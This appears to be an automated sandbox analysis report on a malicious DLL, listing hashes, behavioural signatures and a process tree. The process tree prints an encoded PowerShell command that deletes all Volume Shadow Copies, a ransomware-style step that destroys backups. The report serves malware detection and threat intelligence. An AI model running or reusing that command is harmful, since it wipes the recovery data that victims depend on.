Analysis
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max time kernel
120s -
max time network
142s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
30-01-2022 08:01
Static task
static1
Behavioral task
behavioral1
Sample
14840130ab75587bc52c2f6cab5725e7d23fee87f2ae8b80921738632bd81182.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
14840130ab75587bc52c2f6cab5725e7d23fee87f2ae8b80921738632bd81182.dll
Resource
win10-en-20211208
General
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Target
14840130ab75587bc52c2f6cab5725e7d23fee87f2ae8b80921738632bd81182.dll
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Size
116KB
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MD5
4fdd9fee836c7007a3dc19f1b8b715d4
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SHA1
d44edcc9c11c6b3f9bf61b3b3eda6be28be10ab5
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SHA256
14840130ab75587bc52c2f6cab5725e7d23fee87f2ae8b80921738632bd81182
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SHA512
efa05da7a61a7b6b2861212a90bae1d7c5eb05e4bb61b2ca6654d4a0ca3f0cdaa309da2c8d9d2e9a4c24ebef157b94853acb995e9b6c033fe88473affa41a9e2
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\Y: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1892 rundll32.exe 1200 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1892 rundll32.exe Token: SeDebugPrivilege 1200 powershell.exe Token: SeBackupPrivilege 1500 vssvc.exe Token: SeRestorePrivilege 1500 vssvc.exe Token: SeAuditPrivilege 1500 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1592 wrote to memory of 1892 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1892 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1892 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1892 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1892 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1892 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 1892 1592 rundll32.exe rundll32.exe PID 1892 wrote to memory of 1200 1892 rundll32.exe powershell.exe PID 1892 wrote to memory of 1200 1892 rundll32.exe powershell.exe PID 1892 wrote to memory of 1200 1892 rundll32.exe powershell.exe PID 1892 wrote to memory of 1200 1892 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\14840130ab75587bc52c2f6cab5725e7d23fee87f2ae8b80921738632bd81182.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\14840130ab75587bc52c2f6cab5725e7d23fee87f2ae8b80921738632bd81182.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1200
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1252
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1500
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/1200-55-0x000007FEFC521000-0x000007FEFC523000-memory.dmpFilesize
8KB
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memory/1200-58-0x00000000026B2000-0x00000000026B4000-memory.dmpFilesize
8KB
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memory/1200-57-0x00000000026B0000-0x00000000026B2000-memory.dmpFilesize
8KB
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memory/1200-59-0x00000000026B4000-0x00000000026B7000-memory.dmpFilesize
12KB
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memory/1200-56-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmpFilesize
11.4MB
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memory/1200-60-0x000000001B6E0000-0x000000001B9DF000-memory.dmpFilesize
3.0MB
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memory/1200-61-0x00000000026BB000-0x00000000026DA000-memory.dmpFilesize
124KB
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memory/1892-54-0x0000000076C91000-0x0000000076C93000-memory.dmpFilesize
8KB